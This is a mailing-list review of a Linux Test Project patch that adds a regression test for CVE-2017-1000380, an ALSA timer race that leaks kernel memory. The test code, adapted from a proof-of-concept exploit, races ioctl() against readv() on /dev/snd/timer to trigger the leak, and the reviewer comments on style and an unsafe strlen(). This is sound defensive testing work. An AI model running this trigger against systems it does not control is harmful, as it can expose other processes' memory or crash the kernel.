[v2] Add a regression test for CVE-2017-1000380

A race condition was present in the linux kernel, which could lead to
a leak of arbitrary kernel memory to userspace applications.

The issue was fixed in those kernel commits:
 http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
 http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728

This patch adds a regression test triggering this race condition.

Signed-off-by: Michael Moese <mmoese@suse.de>
---

Changes to v1:
 - Initialize buffers in ioctl_thread() outside of the loop
 - use return unused() instead of a void* cast of NULL in ioctl_thread()
 - reset non-zero flag in run() for every iteration of the main loop
---
 runtest/cve                          |   1 +
 testcases/kernel/Makefile            |   1 +
 testcases/kernel/sound/.gitignore    |   1 +
 testcases/kernel/sound/Makefile      |  12 +++
 testcases/kernel/sound/snd_timer01.c | 140 +++++++++++++++++++++++++++
 5 files changed, 155 insertions(+)
 create mode 100644 testcases/kernel/sound/.gitignore
 create mode 100644 testcases/kernel/sound/Makefile
 create mode 100644 testcases/kernel/sound/snd_timer01.c

Hi!
> +LDLIBS 			+= -pthread
         ^
	 Space before tabs
> +
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/testcases/kernel/sound/snd_timer01.c b/testcases/kernel/sound/snd_timer01.c
> new file mode 100644
> index 000000000..80b03022a
> --- /dev/null
> +++ b/testcases/kernel/sound/snd_timer01.c
> @@ -0,0 +1,140 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +
> +/* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
> + * Regression test for CVE-2017-1000380 based on the original PoC exploit
> + * by Alexander Potapenko <glider@google.com>
> + *
> + * Be careful! This test may crash your kernel!
> + *
> + * The test performs several ioctl() parallel with readv() on the same
> + * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
> + * to the process, which may contain information from the the kernel or
> + * any other process on the system.
> + *
> + * The issue was fixed with
> + *   http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
> + *   http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
> + */
> +
> +#include "config.h"
> +#include "tst_test.h"
> +#include "tst_taint.h"
> +#include "tst_fuzzy_sync.h"
> +#include "tst_safe_macros.h"
> +#include "tst_safe_pthread.h"
> +
> +#include <errno.h>
> +#include <fcntl.h>
> +#include <pthread.h>
> +#include <stdio.h>
> +#include <string.h>
> +#include <sys/uio.h>
> +#include <sys/ioctl.h>
> +#include <sound/asound.h>
> +
> +#define MAX_BUFSIZE 1024
> +
> +static int snd_fd;
> +static struct tst_fzsync_pair fzsync_pair;
> +
> +static void *ioctl_thread(void *unused)
> +{
> +	(void) unused;
          ^
	  Leftover?

> +	int tread_arg = 1;
> +	struct snd_timer_select ts;
> +	struct snd_timer_params tp;
> +
> +	memset(&ts, 0, sizeof(ts));
> +	ts.id.dev_class = 1;
> +
> +	memset(&tp, 0, sizeof(tp));
> +	tp.ticks = 1;
> +	tp.filter = 0xf;
> +
> +	while (tst_fzsync_run_b(&fzsync_pair)) {
> +
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
> +
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
> +
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
> +
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
> +
> +		tst_fzsync_end_race_b(&fzsync_pair);
> +	}
> +	return unused;
> +}
> +
> +static void setup(void)
> +{
> +	tst_fzsync_pair_init(&fzsync_pair);
> +	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
> +	snd_fd = SAFE_OPEN("/dev/snd/timer",
> +			O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
> +}
> +
> +static void cleanup(void)
> +{
> +	tst_fzsync_pair_cleanup(&fzsync_pair);
> +	SAFE_CLOSE(snd_fd);
> +}
> +
> +static void run(void)
> +{
> +	size_t len;
> +	int size;
> +	struct iovec iov;
> +	pthread_t th;
> +	char read_buf[MAX_BUFSIZE];
> +	int i, nz;
> +	pthread_attr_t thread_attr;
> +
> +	pthread_attr_init(&thread_attr);
> +	pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
> +	SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
> +
> +	iov.iov_base = read_buf;
> +	iov.iov_len = sizeof(read_buf);
> +
> +	while (tst_fzsync_run_a(&fzsync_pair)) {
> +		nz = 0;
> +		memset(read_buf, 0, sizeof(read_buf));
> +		size = readv(snd_fd, &iov, 1);
> +
> +		tst_fzsync_end_race_a(&fzsync_pair);
> +
> +		/* check if it could be a valid ioctl result */
> +		if (size == 0)
> +			continue;
> +
> +		/* check if the buffer is non-empty */
> +		for (i = 0; i < size; i++) {
> +			if (read_buf[i]) {
> +				nz = 1;
> +				break;
> +			}
> +		}
> +		if (!nz)
> +			continue;
> +
> +		len = strlen(read_buf);

The point still stands, strlen() on random buffer here is not safe. I
guess that the easies option would be shortening the iov_len by 1 since
we do memset() for the buffer it will be guaranteed that it's
null-terminated.

> +		/* the kernel's struct snd_timer_read is two unsigned integers*/
> +		if (len <= 2 * sizeof(unsigned int))
> +			continue;
> +
> +		tst_res(TFAIL, "kernel seems vulnerable");
> +		return;
> +	}
> +
> +	if (tst_taint_check() != 0)
> +		tst_res(TFAIL, "kernel seems vulnerable");
> +	else
> +		tst_res(TPASS, "kernel seems not vulnerable");
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +};
> -- 
> 2.22.0
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp